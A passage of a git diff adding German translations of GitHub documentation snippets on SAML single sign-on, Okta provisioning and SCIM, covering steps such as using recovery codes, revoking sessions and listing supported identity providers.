+1. Um Synchronisierungsfehler zu vermeiden und zu bestätigen, dass deine Benutzer*innen SAML aktiviert und SCIM-verknüpfte Identitäten haben, empfehlen wir dir, die Benutzer*innen deiner Organisation zu überwachen. Weitere Informationen findest du unter [Problembehandlung bei der Identitäts- und Zugriffsverwaltung deiner Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization).
+
+1. Klicke rechts neben „Bereitstellung in App“ auf **Bearbeiten**.
+
+    ![Screenshot der Schaltfläche „Bearbeiten“ für die Bereitstellungs-Optionen der Okta-Anwendung](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png)
+1. Wähle rechts von **Benutzer erstellen**, **Benutzerattribute aktualisieren** und **Benutzer deaktivieren** **Aktivieren** aus.
+
+    ![Screenshot der Kontrollkästchen „Aktivieren“ für die Optionen „Benutzer erstellen“, „Benutzerattribute aktualisieren“ und „Benutzer deaktivieren“](/assets/images/help/saml/okta-provisioning-enable-options.png)
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/saml/okta-enable-api-integration.md b/translations/de-DE/data/reusables/saml/okta-enable-api-integration.md
new file mode 100644
index 0000000000..9cd41421bb
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-enable-api-integration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 65f884cdf07ece2cb49377bfc09ac4fea9f41582
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130466"
+---
+1. Klicke auf **API-Integration aktivieren**.
diff --git a/translations/de-DE/data/reusables/saml/okta-provisioning-tab.md b/translations/de-DE/data/reusables/saml/okta-provisioning-tab.md
new file mode 100644
index 0000000000..58fa8801b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-provisioning-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 71dd9ba4dd1693e2d3f5cbab23b7a640bf4e1f48
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130661"
+---
+1. Klicke unter dem Namen der Anwendung auf **Bereitstellung**.
+  ![Screenshot der Registerkarte „Bereitstellung“ für die Okta-Anwendung](/assets/images/help/saml/okta-provisioning-tab.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-save-provisioning.md b/translations/de-DE/data/reusables/saml/okta-save-provisioning.md
new file mode 100644
index 0000000000..5210151b4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-save-provisioning.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1d086698c2b65210481924f1cf3462e61504c0fa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130458"
+---
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/saml/okta-sign-into-your-account.md b/translations/de-DE/data/reusables/saml/okta-sign-into-your-account.md
new file mode 100644
index 0000000000..2f4412c5ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-sign-into-your-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e5dabf12ee7b5928216340abe904588413daa069
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130658"
+---
+1. Melde dich bei deinem [Okta-Konto](https://login.okta.com/) an.
diff --git a/translations/de-DE/data/reusables/saml/okta-sign-on-tab.md b/translations/de-DE/data/reusables/saml/okta-sign-on-tab.md
new file mode 100644
index 0000000000..e92f4563f7
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-sign-on-tab.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c1c07418ac678e38f387f9be4ebc00153558ae22
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109310"
+---
+1. Klicke unter dem Namen der Anwendung auf **Anmelden**.
+
+   ![Registerkarte „Anmelden“](/assets/images/help/saml/okta-ae-sign-on-tab.png)
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/okta-view-setup-instructions.md b/translations/de-DE/data/reusables/saml/okta-view-setup-instructions.md
new file mode 100644
index 0000000000..2702406340
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-view-setup-instructions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: fef8d78e7518ea1b11d657f0ed82929847cd5575
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108279"
+---
+1. Klicke unter ANMELDEMETHODEN auf **Setupanweisungen anzeigen**.
+
+   ![Registerkarte „Anmelden“](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/outside-collaborators-exemption.md b/translations/de-DE/data/reusables/saml/outside-collaborators-exemption.md
new file mode 100644
index 0000000000..682626d7d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/outside-collaborators-exemption.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2756814ec2c08dfce708645cec499588fbad330d
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148111619"
+---
+{% note %}
+
+**Hinweis:** Die SAML-Authentifizierung ist für externe Mitarbeiter*innen nicht erforderlich. Weitere Informationen zu externen Mitarbeitern findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/saml/recovery-code-access.md b/translations/de-DE/data/reusables/saml/recovery-code-access.md
new file mode 100644
index 0000000000..8b612b6bb6
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/recovery-code-access.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 94344f2a86c1220c8046aea759e96e895eeb52a8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130442"
+---
+1. Klicke unten im Dialogfeld für einmaliges Anmelden auf **Wiederherstellungscode verwenden**, um einmaliges Anmelden zu umgehen.
+
+   ![Screenshot des Links zum Eingeben des Wiederherstellungscodes](/assets/images/help/saml/saml_use_recovery_code.png)
+
+2. Gib im Feld „Recovery Code“ (Wiederherstellungscode) Deinen Wiederherstellungscode ein.
+
+   ![Screenshot des Felds zum Eingeben des Wiederherstellungscodes](/assets/images/help/saml/saml_recovery_code_entry.png)
+
+3. Klicken Sie auf **Überprüfen**.
+
+   ![Screenshot der Schaltfläche zum Verifizieren des Wiederherstellungscodes](/assets/images/help/saml/saml_verify_recovery_codes.png)
+
+Denke daran, dass ein Wiederherstellungscode nicht mehr gültig ist, nachdem er verwendet wurde. Du kannst den Wiederherstellungscode nicht erneut verwenden.
diff --git a/translations/de-DE/data/reusables/saml/recovery-code-caveats.md b/translations/de-DE/data/reusables/saml/recovery-code-caveats.md
new file mode 100644
index 0000000000..23357616d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/recovery-code-caveats.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0259139af8110f5e19860ea0b78cff797e3b1d7f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130657"
+---
+Du kannst Wiederherstellungscodes nur einmal und in aufeinanderfolgender Reihenfolge verwenden. Wiederherstellungscodes gewähren den Zugriff für 24 Stunden.
diff --git a/translations/de-DE/data/reusables/saml/removed-users-can-rejoin.md b/translations/de-DE/data/reusables/saml/removed-users-can-rejoin.md
new file mode 100644
index 0000000000..91de64a7a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/removed-users-can-rejoin.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4da46ac099f8b1c89082b02d65f645300186785b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130441"
+---
+Alle Benutzer, die aufgrund der SAML-SSO-Erzwingung entfernt wurden, können Ihrer Organisation wieder beitreten, indem sie sich über SAML-SSO authentifizieren.
diff --git a/translations/de-DE/data/reusables/saml/resources-without-sso.md b/translations/de-DE/data/reusables/saml/resources-without-sso.md
new file mode 100644
index 0000000000..07bde6f3f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/resources-without-sso.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 6801c86b93cfe8a48f1380bcb65e3fc8802e0eae
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148111613"
+---
+Die IdP-Authentifizierung ist nicht erforderlich, wenn auf bestimmte Weise auf öffentliche Repositorys zugegriffen wird:
+
+- Anzeigen der Übersichtsseite und des Dateiinhalts des Repositorys auf {% data variables.product.prodname_dotcom %}
+- Forken des Repositorys
+- Ausführen von Lesevorgängen über Git, z. B. das Klonen des Repositorys
+
+Die Authentifizierung ist bei anderen Zugriffsmethoden auf öffentliche Repositorys erforderlich, z. B. für das Anzeigen von Issues, Pull Requests, Projekten und Releases.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/revoke-authorized-credentials.md b/translations/de-DE/data/reusables/saml/revoke-authorized-credentials.md
new file mode 100644
index 0000000000..4dc16fa74d
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/revoke-authorized-credentials.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8465fcf359731441f78d8f0c5f035e0823a8f15b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130654"
+---
+1. Um Anmeldeinformationen zu widerrufen, klicke rechts neben den Anmeldeinformationen, die Du widerrufen möchtest, auf **Widerrufen**.
+  ![Schaltfläche „Widerrufen“](/assets/images/help/saml/revoke-credentials.png)
diff --git a/translations/de-DE/data/reusables/saml/revoke-saml-session.md b/translations/de-DE/data/reusables/saml/revoke-saml-session.md
new file mode 100644
index 0000000000..ae9205d026
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/revoke-saml-session.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c39b810ec272be5bdbb2b4a215cbfe25dcb2bc18
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881243"
+---
+1. Um eine Sitzung zu widerrufen, klicke rechts neben der Sitzung, die du widerrufen möchtest, auf **Widerrufen**.
+  ![Schaltfläche „Widerrufen“](/assets/images/help/saml/revoke-session.png)
diff --git a/translations/de-DE/data/reusables/saml/revoke-sso-identity.md b/translations/de-DE/data/reusables/saml/revoke-sso-identity.md
new file mode 100644
index 0000000000..c071317741
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/revoke-sso-identity.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0e538c1d90d4f75ba895f9a24bec7e8ad36b317b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130653"
+---
+1. Um die verknüpfte Identität zu widerrufen, klicke rechts neben der Identität auf **Widerrufen**.
+  ![Schaltfläche „Widerrufen“](/assets/images/help/saml/revoke-identity.png)
diff --git a/translations/de-DE/data/reusables/saml/saml-accounts.md b/translations/de-DE/data/reusables/saml/saml-accounts.md
new file mode 100644
index 0000000000..1bf94392ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-accounts.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 7f8e979109d851c152b9cb2b90569ea12155b2dd
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148111521"
+---
+Wenn du SAML-SSO konfigurierst, melden sich die Mitglieder deiner Organisation weiterhin bei ihren persönlichen Konten bei {% data variables.product.prodname_dotcom_the_website %} an. Wenn ein Mitglied auf Ressourcen deiner Organisation zugreift, wird es in den meisten Fällen von {% data variables.product.prodname_dotcom %} zur Authentifizierung an deinen IdP umgeleitet. Nach erfolgreicher Authentifizierung leitet dein IdP den Benutzer zurück zu {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du unter [Informationen zur Authentifizierung mit SAML Single Sign-On](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on).
+
+{% note %}
+
+**Hinweis:** SAML SSO ersetzt nicht den normalen Anmeldevorgang für {% data variables.product.prodname_dotcom %}. Sofern du nicht {% data variables.product.prodname_emus %} verwendest, melden sich Mitglieder weiterhin bei ihren persönlichen Konten auf {% data variables.product.prodname_dotcom_the_website %} an, und jedes persönliche Konto wird mit einer externen Identität in deinem IdP verknüpft.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/saml/saml-disabled-linked-identities-removed.md b/translations/de-DE/data/reusables/saml/saml-disabled-linked-identities-removed.md
new file mode 100644
index 0000000000..56f8b6449a
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-disabled-linked-identities-removed.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 942da167a47504ffadb17e32293834fa5cc64cb3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130650"
+---
+Wenn SAML-SSO deaktiviert ist, werden alle verknüpften externen Identitäten aus {% data variables.product.product_name %} entfernt.
diff --git a/translations/de-DE/data/reusables/saml/saml-ghes-account-revocation.md b/translations/de-DE/data/reusables/saml/saml-ghes-account-revocation.md
new file mode 100644
index 0000000000..c71834321c
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-ghes-account-revocation.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d08df6f87611aec73985fd0ecd279b67079e2a1f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067378"
+---
+{% ifversion ghes %}
+
+Wenn du einen Benutzer von deinem Identitätsanbieter (IdP) entfernst, musst du ihn zudem manuell sperren. Andernfalls kann der Besitzer bzw. die Besitzerin des Kontos sich weiterhin mithilfe der Zugriffstoken oder SSH-Schlüssel authentifizieren. Weitere Informationen findest du unter [Sperren und Entsperren von Benutzern](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users).
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/saml/saml-identity-linked.md b/translations/de-DE/data/reusables/saml/saml-identity-linked.md
new file mode 100644
index 0000000000..ab51aa5ab9
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-identity-linked.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c190818ec976ae835d5e4ad01acc09f954bdc5dd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130649"
+---
+1. Klicke auf der linken Randleiste auf **SAML-Identität verknüpft**.
+  ![SAML-Identität verknüpft](/assets/images/help/saml/saml-identity-linked.png)
diff --git a/translations/de-DE/data/reusables/saml/saml-requires-ghec.md b/translations/de-DE/data/reusables/saml/saml-requires-ghec.md
new file mode 100644
index 0000000000..d71e746734
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-requires-ghec.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5fb16b2e2df159c972bac2091ae2b1cb47afc11a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130426"
+---
+SAML-SSO erfordert {% data variables.product.prodname_ghe_cloud %}.
diff --git a/translations/de-DE/data/reusables/saml/saml-session-oauth.md b/translations/de-DE/data/reusables/saml/saml-session-oauth.md
new file mode 100644
index 0000000000..0ee37c4622
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-session-oauth.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d6558389cb7f14f3c0a626e99aaa4e9ac45ff0a1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882255"
+---
+Wenn Du einer Organisation angehörst, die SAML Single Sign-On erzwingt, wirst Du möglicherweise aufgefordert, Dich über Deinen Identitätsanbieter zu authentifizieren, bevor Du eine {% data variables.product.prodname_oauth_app %} autorisieren kannst. Weitere Informationen zu SAML findest du unter [Informationen zur Authentifizierung mit SAML-SSO (Single Sign-On)](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %} in der Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %}
diff --git a/translations/de-DE/data/reusables/saml/saml-single-logout-not-supported.md b/translations/de-DE/data/reusables/saml/saml-single-logout-not-supported.md
new file mode 100644
index 0000000000..0ced1da05e
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-single-logout-not-supported.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0b0189cf01844ba2674adb92a993c9f3d4bd388b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130425"
+---
+{% data variables.product.product_name %} unterstützt keinen SAML Single-Logout. Um eine aktive SAML-Sitzung zu beenden, sollte sich der Benutzer direkt auf Deiner SAML-IdP abmelden.
diff --git a/translations/de-DE/data/reusables/saml/saml-supported-idps.md b/translations/de-DE/data/reusables/saml/saml-supported-idps.md
new file mode 100644
index 0000000000..bd114e3526
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/saml-supported-idps.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 30657af068d61df41410e2b11f9d89172891e748
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130645"
+---
+{% data variables.product.product_name %} unterstützt SAML-SSO mit Identitätsanbietern, die den SAML 2.0-Standard implementieren. Weitere Informationen findest du im [SAML-Wiki](https://wiki.oasis-open.org/security) auf der OASIS-Website.
+
+Folgende Identitätsanbieter werden von {% data variables.product.company_short %} offiziell unterstützt und intern getestet:
+
+{% ifversion fpt or ghec or ghes %}
+- Active Directory-Verbunddienste (AD FS)
+- Azure Active Directory (Azure AD)
+- Okta
+- OneLogin
+- PingOne
+- Shibboleth {% elsif ghae %}
+- Azure Active Directory (Azure AD)
+- Okta (Beta) {% endif %}
diff --git a/translations/de-DE/data/reusables/saml/switching-from-org-to-enterprise.md b/translations/de-DE/data/reusables/saml/switching-from-org-to-enterprise.md
new file mode 100644
index 0000000000..38d216bf98
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/switching-from-org-to-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eb58d3cc072db06c4ae639f514399111273d954e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130417"
+---
+Beim Aktivieren von SAML-SSO für Ihr Unternehmenskonto sind besondere Aspekte zu beachten, wenn eine der Organisationen im Besitz des Unternehmenskontos bereits für die Verwendung von SAML-SSO konfiguriert ist.
diff --git a/translations/de-DE/data/reusables/saml/testing-saml-sso.md b/translations/de-DE/data/reusables/saml/testing-saml-sso.md
new file mode 100644
index 0000000000..2f91a95309
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/testing-saml-sso.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ff7fb9ccb9b3e9de365b1818347c75d997ab8cc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881098"
+---
+Wenn du SAML SSO in deiner Organisation einrichtest, kannst du deine Implementierung testen, ohne dass sich dies auf deine Organisationsmitglieder auswirkt. Lasse dazu **Require SAML SSO authentication for all members of the _organization name_ organization** (SAML SSO-Authentifizierung für alle Mitglieder der Organisation „Organisationsname“ vorschreiben) deaktiviert.
diff --git a/translations/de-DE/data/reusables/saml/use-classic-ui.md b/translations/de-DE/data/reusables/saml/use-classic-ui.md
new file mode 100644
index 0000000000..b24cd12128
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/use-classic-ui.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6ef981f2197e9d624d03de73bb46092df1318432
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130414"
+---
+Du musst die „Klassische Benutzeroberfläche“ in Okta verwenden. Weitere Informationen findest du unter [Organisierte Navigation](https://developer.okta.com/blog/2017/09/25/all-new-developer-console#new-look--feel) im Okta-Blog.
+
+![Auswählen von „Klassische Benutzeroberfläche“ aus der Okta-Benutzeroberflächen-Stilauswahl über dem Dashboard](/assets/images/help/saml/okta-classic-ui.png)
diff --git a/translations/de-DE/data/reusables/saml/view-authorized-credentials.md b/translations/de-DE/data/reusables/saml/view-authorized-credentials.md
new file mode 100644
index 0000000000..2e96d6dd3f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/view-authorized-credentials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f070d519ad21c2ce096df1ea348ecbf7d1f79b18
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130621"
+---
+1. Unter „Authorized credentials" (Autorisierte Anmeldeinformationen) sieh Dir die autorisierten Anmeldeinformationen für das Mitglied an.
diff --git a/translations/de-DE/data/reusables/saml/view-saml-sessions.md b/translations/de-DE/data/reusables/saml/view-saml-sessions.md
new file mode 100644
index 0000000000..e3458afb2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/view-saml-sessions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fc57b5e34f745e7f32e9d031f2bb960bacb57603
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130413"
+---
+1. Unter „Active SAML sessions" (Aktive SAML-Sitzungen) sieh Dir die aktiven SAML-Sitzungen für das Mitglied an.
diff --git a/translations/de-DE/data/reusables/saml/view-sso-identity.md b/translations/de-DE/data/reusables/saml/view-sso-identity.md
new file mode 100644
index 0000000000..2053e06dcc
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/view-sso-identity.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a0a695a7f10dea68bf761c7309fa54d4a3ca0fcc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130618"
+---
+1. Unter „Linked SSO identity" (Verknüpfte SSO-Identität) sie Dir die verknüpfte SSO-Identität für das Mitglied an.
diff --git a/translations/de-DE/data/reusables/saml/when-you-enforce.md b/translations/de-DE/data/reusables/saml/when-you-enforce.md
new file mode 100644
index 0000000000..bf56e7e98e
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/when-you-enforce.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 643af33b52c873ab0eb4dbd7311b2ee0fbfa3ec8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130402"
+---
+Wenn du SAML-SSO erzwingst, müssen sich alle Mitglieder der Organisation über deinen IdP authentifizieren, um auf die Ressourcen der Organisation zuzugreifen.
diff --git a/translations/de-DE/data/reusables/saml/you-must-periodically-authenticate.md b/translations/de-DE/data/reusables/saml/you-must-periodically-authenticate.md
new file mode 100644
index 0000000000..7d345990f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/you-must-periodically-authenticate.md
@@ -0,0 +1 @@
+You must periodically authenticate with your SAML IdP to authenticate and gain access to {% ifversion fpt or ghec %}the organization's resources on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghae %}{% data variables.location.product_location %}{% endif %}. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires you to re-identify yourself to continue. {% ifversion fpt or ghec %}You can view and manage your active SAML sessions in your security settings. For more information, see "[Viewing and managing your active SAML sessions](/articles/viewing-and-managing-your-active-saml-sessions)."{% endif %}
diff --git a/translations/de-DE/data/reusables/scim/after-you-configure-saml.md b/translations/de-DE/data/reusables/scim/after-you-configure-saml.md
new file mode 100644
index 0000000000..ef0690558c
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/after-you-configure-saml.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cfe1441d8807b616dae5499c5f1fb01316364c5b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130401"
+---
+Standardmäßig kommuniziert dein Identitätsanbieter nicht automatisch mit {% data variables.product.product_name %}, wenn du die Anwendung zuweist oder die Zuweisung aufhebst. {% data variables.product.product_name %} {% ifversion fpt or ghec %}bietet Zugriff auf deine Ressourcen {% else %}erstellt ein Benutzerkonto {% endif %}unter Verwendung der SAML-JIT-Bereitstellung (Just-In-Time), wenn ein Benutzer erstmals zu {% ifversion fpt or ghec %}deinen Ressourcen auf {% endif %} {% data variables.product.product_name %} navigiert und sich bei der Anmeldung über deinen Identitätsanbieter authentifiziert. Unter Umständen musst du Benutzer manuell benachrichtigen, wenn du ihnen Zugriff auf {% data variables.product.product_name %} gewährst, und beim Offboarding musst du manuell {% ifversion fpt or ghec %}die Bereitstellung des Zugriffs aufheben {% else %}das Benutzerkonto in {% endif %}{% data variables.product.product_name %} deaktivieren. Du kannst SCIM zum automatischen {% ifversion ghec %}Bereitstellen oder Aufheben der Bereitstellung{% elsif ghae %}Erstellen oder Sperren{% endif %} {% ifversion fpt or ghec %}des Zugriffs auf Organisationen, die deiner Organisation auf {% data variables.product.prodname_dotcom_the_website %} angehören, {% else %}von Benutzerkonten und Zugriff für {% data variables.product.product_name %} {% endif %}verwenden, wenn du die Anwendung für deinen Identitätsanbieter zuweist oder die Zuweisung aufhebst.
diff --git a/translations/de-DE/data/reusables/scim/changes-should-come-from-idp.md b/translations/de-DE/data/reusables/scim/changes-should-come-from-idp.md
new file mode 100644
index 0000000000..6f002cb50a
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/changes-should-come-from-idp.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dbc37853f288c92b80e2858c0e94b9a07ca9b60f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130614"
+---
+Wenn SCIM-Bereitstellung für deine Organisation implementiert ist, sollten alle Änderungen an der Organisationsmitgliedschaft eines Benutzers vom Identitätsanbieter ausgelöst werden. Wenn ein Benutzer manuell anstelle einer vorhandenen SCIM-Integration zu einer Organisation eingeladen wird, wird sein Benutzerkonto möglicherweise nicht ordnungsgemäß mit seiner SCIM-Identität verknüpft. Dadurch kann verhindert werden, dass das Benutzerkonto in Zukunft über SCIM nicht mehr bereitgestellt werden kann. Wenn ein Benutzer manuell anstelle einer vorhandenen SCIM-Integration entfernt wird, bleibt eine veraltete verknüpfte Identität erhalten, was zu Problemen führen kann, wenn der Benutzer erneut an der Organisation teilnehmen muss.
